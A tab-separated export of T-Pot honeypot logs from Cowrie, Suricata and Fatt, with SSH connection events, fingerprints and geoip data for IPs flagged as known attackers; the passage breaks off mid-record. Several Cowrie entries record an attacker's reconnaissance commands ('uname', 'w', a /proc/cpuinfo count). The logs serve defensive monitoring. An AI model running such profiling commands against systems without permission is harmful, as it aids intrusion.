33166	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:29.282626+03	2021-09-20 15:00:04.398722+03	{"_id": "LgYOA3wBvYTbRNuEvE4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48532, "timestamp": "2021-09-20T11:54:29.282626", "@timestamp": "2021-09-20T11:54:29.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33167	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:54:29.281354+03	2021-09-20 15:00:04.399723+03	{"_id": "QwYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48532 (192.168.176.2:22) [session: e546630a9ac5]", "session": "e546630a9ac5", "@version": "1", "protocol": "ssh", "src_port": 48532, "dest_port": 22, "timestamp": "2021-09-20T11:54:29.281354Z", "@timestamp": "2021-09-20T11:54:29.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33168	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:29.68781+03	2021-09-20 15:00:04.400723+03	{"_id": "QgYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:29.687810Z", "@timestamp": "2021-09-20T11:54:29.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33169	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:54:29.282088+03	2021-09-20 15:00:04.402721+03	{"_id": "RQYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e546630a9ac5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:29.282088Z", "@timestamp": "2021-09-20T11:54:29.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33170	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:54:29.492023+03	2021-09-20 15:00:04.403722+03	{"_id": "TQYOA3wBvYTbRNuEvk7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 78529021992455, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44531, "dest_port": 22, "timestamp": "2021-09-20T11:54:29.492023Z", "@timestamp": "2021-09-20T11:54:29.492Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
45161	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:40:32.355243+03	2021-09-20 16:45:02.59459+03	{"_id": "hAZvA3wBvYTbRNuE1Kp8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:40:32.355243Z", "@timestamp": "2021-09-20T13:40:32.355Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33171	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:54:29.660566+03	2021-09-20 15:00:04.405722+03	{"_id": "TgYOA3wBvYTbRNuEvk7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 2106247506871221, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48532, "dest_port": 22, "timestamp": "2021-09-20T11:54:29.660566Z", "@timestamp": "2021-09-20T11:54:29.660Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33172	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:54:29.748302+03	2021-09-20 15:00:04.406722+03	{"_id": "TwYOA3wBvYTbRNuEvk7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24979, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3005, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 403896416953707, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60765, "timestamp": "2021-09-20T11:54:29.748302Z", "@timestamp": "2021-09-20T11:54:29.748Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33173	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:25.846413+03	2021-09-20 15:00:04.407722+03	{"_id": "GwYOA3wBvYTbRNuErU7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:25.846413Z", "@timestamp": "2021-09-20T11:54:25.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33174	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:26.799605+03	2021-09-20 15:00:04.408723+03	{"_id": "IgYOA3wBvYTbRNuEsU7a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:26.799605Z", "@timestamp": "2021-09-20T11:54:26.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33175	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:27.790599+03	2021-09-20 15:00:04.410721+03	{"_id": "KQYOA3wBvYTbRNuEtU7D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:27.790599Z", "@timestamp": "2021-09-20T11:54:27.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33176	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:54:29.492083+03	2021-09-20 15:00:04.411722+03	{"_id": "MAYOA3wBvYTbRNuEvE4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44531, "dest_port": 22, "timestamp": "2021-09-20T11:54:29.492083", "@timestamp": "2021-09-20T11:54:29.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33177	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:29.438604+03	2021-09-20 15:00:04.412723+03	{"_id": "LwYOA3wBvYTbRNuEvE4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44531, "timestamp": "2021-09-20T11:54:29.438604", "@timestamp": "2021-09-20T11:54:29.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33178	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:29.320323+03	2021-09-20 15:00:04.413722+03	{"_id": "QQYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "1.116.239.130", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5691967010498047, "duplicate": true, "timestamp": "2021-09-20T11:54:29.320323Z", "@timestamp": "2021-09-20T11:54:29.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33179	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:54:29.689442+03	2021-09-20 15:00:04.414722+03	{"_id": "RAYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e546630a9ac5", "@version": "1", "timestamp": "2021-09-20T11:54:29.689442Z", "@timestamp": "2021-09-20T11:54:29.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33180	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:25.845865+03	2021-09-20 15:00:04.415722+03	{"_id": "HQYOA3wBvYTbRNuErU7y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:25.845865Z", "@timestamp": "2021-09-20T11:54:25.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33181	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:26.401963+03	2021-09-20 15:00:04.416722+03	{"_id": "IQYOA3wBvYTbRNuEsU7a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "1.116.239.130", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5561821460723877, "duplicate": true, "timestamp": "2021-09-20T11:54:26.401963Z", "@timestamp": "2021-09-20T11:54:26.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33182	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:27.790061+03	2021-09-20 15:00:04.418722+03	{"_id": "KAYOA3wBvYTbRNuEtU7D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:27.790061Z", "@timestamp": "2021-09-20T11:54:27.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33183	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:54:29.437373+03	2021-09-20 15:00:04.419722+03	{"_id": "SQYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:44531 (192.168.176.2:22) [session: 62453c906510]", "session": "62453c906510", "@version": "1", "protocol": "ssh", "src_port": 44531, "dest_port": 22, "timestamp": "2021-09-20T11:54:29.437373Z", "@timestamp": 